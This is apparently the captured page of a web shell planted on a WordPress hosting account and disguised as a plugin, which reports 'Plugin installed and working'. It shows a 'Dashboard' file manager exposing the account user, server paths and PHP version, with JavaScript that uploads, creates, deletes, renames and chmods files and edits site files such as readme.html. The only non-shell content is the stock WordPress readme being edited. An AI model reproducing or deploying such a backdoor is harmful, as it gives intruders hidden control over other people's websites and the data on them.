{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-20 10:31:15"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome2">home2</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome2%2Fpablod78">pablod78</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fhome2%2Fpablod78%2Fpublic_html">public_html</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fhome2%2Fpablod78%2Fpublic_html" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: readme.html</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/home2/pablod78/public_html/readme.html">
                    <textarea name="edit_content">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
	&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width&quot; /&gt;
	&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
	&lt;meta name=&quot;robots&quot; content=&quot;noindex,nofollow&quot; /&gt;
	&lt;title&gt;WordPress &amp;#8250; ReadMe&lt;/title&gt;
	&lt;link rel=&quot;stylesheet&quot; href=&quot;wp-admin/css/install.css?ver=20100228&quot; /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1 id=&quot;logo&quot;&gt;
	&lt;a href=&quot;https://wordpress.org/&quot;&gt;&lt;img alt=&quot;WordPress&quot; src=&quot;wp-admin/images/wordpress-logo.png&quot; /&gt;&lt;/a&gt;
&lt;/h1&gt;
&lt;p style=&quot;text-align: center&quot;&gt;Semantic Personal Publishing Platform&lt;/p&gt;

&lt;h2&gt;First Things First&lt;/h2&gt;
&lt;p&gt;Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I am proud to be a part of. Thousands of hours have gone into WordPress, and we are dedicated to making it better every day. Thank you for making it part of your world.&lt;/p&gt;
&lt;p style=&quot;text-align: right&quot;&gt;&amp;#8212; Matt Mullenweg&lt;/p&gt;

&lt;h2&gt;Installation: Famous 5-minute install&lt;/h2&gt;
&lt;ol&gt;
	&lt;li&gt;Unzip the package in an empty directory and upload everything.&lt;/li&gt;
	&lt;li&gt;Open &lt;span class=&quot;file&quot;&gt;&lt;a href=&quot;wp-admin/install.php&quot;&gt;wp-admin/install.php&lt;/a&gt;&lt;/span&gt; in your browser. It will take you through the process to set up a &lt;code&gt;wp-config.php&lt;/code&gt; file with your database connection details.
		&lt;ol&gt;
			&lt;li&gt;If for some reason this does not work, do not worry. It may not work on all web hosts. Open up &lt;code&gt;wp-config-sample.php&lt;/code&gt; with a text editor like WordPad or similar and fill in your database connection details.&lt;/li&gt;
			&lt;li&gt;Save the file as &lt;code&gt;wp-config.php&lt;/code&gt; and upload it.&lt;/li&gt;
			&lt;li&gt;Open &lt;span class=&quot;file&quot;&gt;&lt;a href=&quot;wp-admin/install.php&quot;&gt;wp-admin/install.php&lt;/a&gt;&lt;/span&gt; in your browser.&lt;/li&gt;
		&lt;/ol&gt;
	&lt;/li&gt;
	&lt;li&gt;Once the configuration file is set up, the installer will set up the tables needed for your site. If there is an error, double check your &lt;code&gt;wp-config.php&lt;/code&gt; file, and try again. If it fails again, please go to the &lt;a href=&quot;https://wordpress.org/support/forums/&quot;&gt;WordPress support forums&lt;/a&gt; with as much data as you can gather.&lt;/li&gt;
	&lt;li&gt;&lt;strong&gt;If you did not enter a password, note the password given to you.&lt;/strong&gt; If you did not provide a username, it will be &lt;code&gt;admin&lt;/code&gt;.&lt;/li&gt;
	&lt;li&gt;The installer should then send you to the &lt;a href=&quot;wp-login.php&quot;&gt;login page&lt;/a&gt;. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on &amp;#8220;Profile&amp;#8221; to change the password.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;Updating&lt;/h2&gt;
&lt;h3&gt;Using the Automatic Updater&lt;/h3&gt;
&lt;ol&gt;
	&lt;li&gt;Open &lt;span class=&quot;file&quot;&gt;&lt;a href=&quot;wp-admin/update-core.php&quot;&gt;wp-admin/update-core.php&lt;/a&gt;&lt;/span&gt; in your browser and follow the instructions.&lt;/li&gt;
	&lt;li&gt;You wanted more, perhaps? That&amp;#8217;s it!&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;Updating Manually&lt;/h3&gt;
&lt;ol&gt;
	&lt;li&gt;Before you update anything, make sure you have backup copies of any files you may have modified such as &lt;code&gt;index.php&lt;/code&gt;.&lt;/li&gt;
	&lt;li&gt;Delete your old WordPress files, saving ones you&amp;#8217;ve modified.&lt;/li&gt;
	&lt;li&gt;Upload the new files.&lt;/li&gt;
	&lt;li&gt;Point your browser to &lt;span class=&quot;file&quot;&gt;&lt;a href=&quot;wp-admin/upgrade.php&quot;&gt;/wp-admin/upgrade.php&lt;/a&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;Migrating from other systems&lt;/h2&gt;
&lt;p&gt;WordPress can &lt;a href=&quot;https://developer.wordpress.org/advanced-administration/wordpress/import/&quot;&gt;import from a number of systems&lt;/a&gt;. First you need to get WordPress installed and working as described above, before using &lt;a href=&quot;wp-admin/import.php&quot;&gt;our import tools&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;System Requirements&lt;/h2&gt;
&lt;ul&gt;
	&lt;li&gt;&lt;a href=&quot;https://www.php.net/&quot;&gt;PHP&lt;/a&gt; version &lt;strong&gt;7.4&lt;/strong&gt; or greater.&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;https://www.mysql.com/&quot;&gt;MySQL&lt;/a&gt; version &lt;strong&gt;5.5.5&lt;/strong&gt; or greater.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Recommendations&lt;/h3&gt;
&lt;ul&gt;
	&lt;li&gt;&lt;a href=&quot;https://www.php.net/&quot;&gt;PHP&lt;/a&gt; version &lt;strong&gt;8.3&lt;/strong&gt; or greater.&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;https://www.mysql.com/&quot;&gt;MySQL&lt;/a&gt; version &lt;strong&gt;8.0&lt;/strong&gt; or greater OR &lt;a href=&quot;https://mariadb.org/&quot;&gt;MariaDB&lt;/a&gt; version &lt;strong&gt;10.11&lt;/strong&gt; or greater.&lt;/li&gt;
	&lt;li&gt;The &lt;a href=&quot;https://httpd.apache.org/docs/2.2/mod/mod_rewrite.html&quot;&gt;mod_rewrite&lt;/a&gt; Apache module.&lt;/li&gt;
	&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2016/12/moving-toward-ssl/&quot;&gt;HTTPS&lt;/a&gt; support.&lt;/li&gt;
	&lt;li&gt;A link to &lt;a href=&quot;https://wordpress.org/&quot;&gt;wordpress.org&lt;/a&gt; on your site.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Online Resources&lt;/h2&gt;
&lt;p&gt;If you have any questions that are not addressed in this document, please take advantage of WordPress&amp;#8217; numerous online resources:&lt;/p&gt;
&lt;dl&gt;
	&lt;dt&gt;&lt;a href=&quot;https://wordpress.org/documentation/&quot;&gt;HelpHub&lt;/a&gt;&lt;/dt&gt;
		&lt;dd&gt;HelpHub is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.&lt;/dd&gt;
	&lt;dt&gt;&lt;a href=&quot;https://wordpress.org/news/&quot;&gt;The WordPress Blog&lt;/a&gt;&lt;/dt&gt;
		&lt;dd&gt;This is where you&amp;#8217;ll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.&lt;/dd&gt;
	&lt;dt&gt;&lt;a href=&quot;https://planet.wordpress.org/&quot;&gt;WordPress Planet&lt;/a&gt;&lt;/dt&gt;
		&lt;dd&gt;The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.&lt;/dd&gt;
	&lt;dt&gt;&lt;a href=&quot;https://wordpress.org/support/forums/&quot;&gt;WordPress Support Forums&lt;/a&gt;&lt;/dt&gt;
		&lt;dd&gt;If you&amp;#8217;ve looked everywhere and still cannot find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.&lt;/dd&gt;
	&lt;dt&gt;&lt;a href=&quot;https://make.wordpress.org/support/handbook/appendix/other-support-locations/introduction-to-irc/&quot;&gt;WordPress &lt;abbr&gt;IRC&lt;/abbr&gt; (Internet Relay Chat) Channel&lt;/a&gt;&lt;/dt&gt;
		&lt;dd&gt;There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (&lt;a href=&quot;https://web.libera.chat/#wordpress&quot;&gt;irc.libera.chat #wordpress&lt;/a&gt;)&lt;/dd&gt;
&lt;/dl&gt;

&lt;h2&gt;Final Notes&lt;/h2&gt;
&lt;ul&gt;
	&lt;li&gt;If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the &lt;a href=&quot;https://wordpress.org/support/forums/&quot;&gt;Support Forums&lt;/a&gt;.&lt;/li&gt;
	&lt;li&gt;WordPress has a robust plugin &lt;abbr&gt;API&lt;/abbr&gt; (Application Programming Interface) that makes extending the code easy. If you are a developer interested in utilizing this, see the &lt;a href=&quot;https://developer.wordpress.org/plugins/&quot;&gt;Plugin Developer Handbook&lt;/a&gt;. You shouldn&amp;#8217;t modify any of the core code.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Share the Love&lt;/h2&gt;
&lt;p&gt;WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&amp;#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgeable than yourself, or writing the author of a media article that overlooks us.&lt;/p&gt;

&lt;p&gt;WordPress is the official continuation of b2/caf&amp;#233;log, which came from Michel V. The work has been continued by the &lt;a href=&quot;https://wordpress.org/about/&quot;&gt;WordPress developers&lt;/a&gt;. If you would like to support WordPress, please consider &lt;a href=&quot;https://wordpress.org/donate/&quot;&gt;donating&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;License&lt;/h2&gt;
&lt;p&gt;WordPress is free software, and is released under the terms of the &lt;abbr&gt;GPL&lt;/abbr&gt; (GNU General Public License) version 2 or (at your option) any later version. See &lt;a href=&quot;license.txt&quot;&gt;license.txt&lt;/a&gt;.&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fhome2%2Fpablod78%2Fpublic_html" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/home2/pablod78/public_html';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html>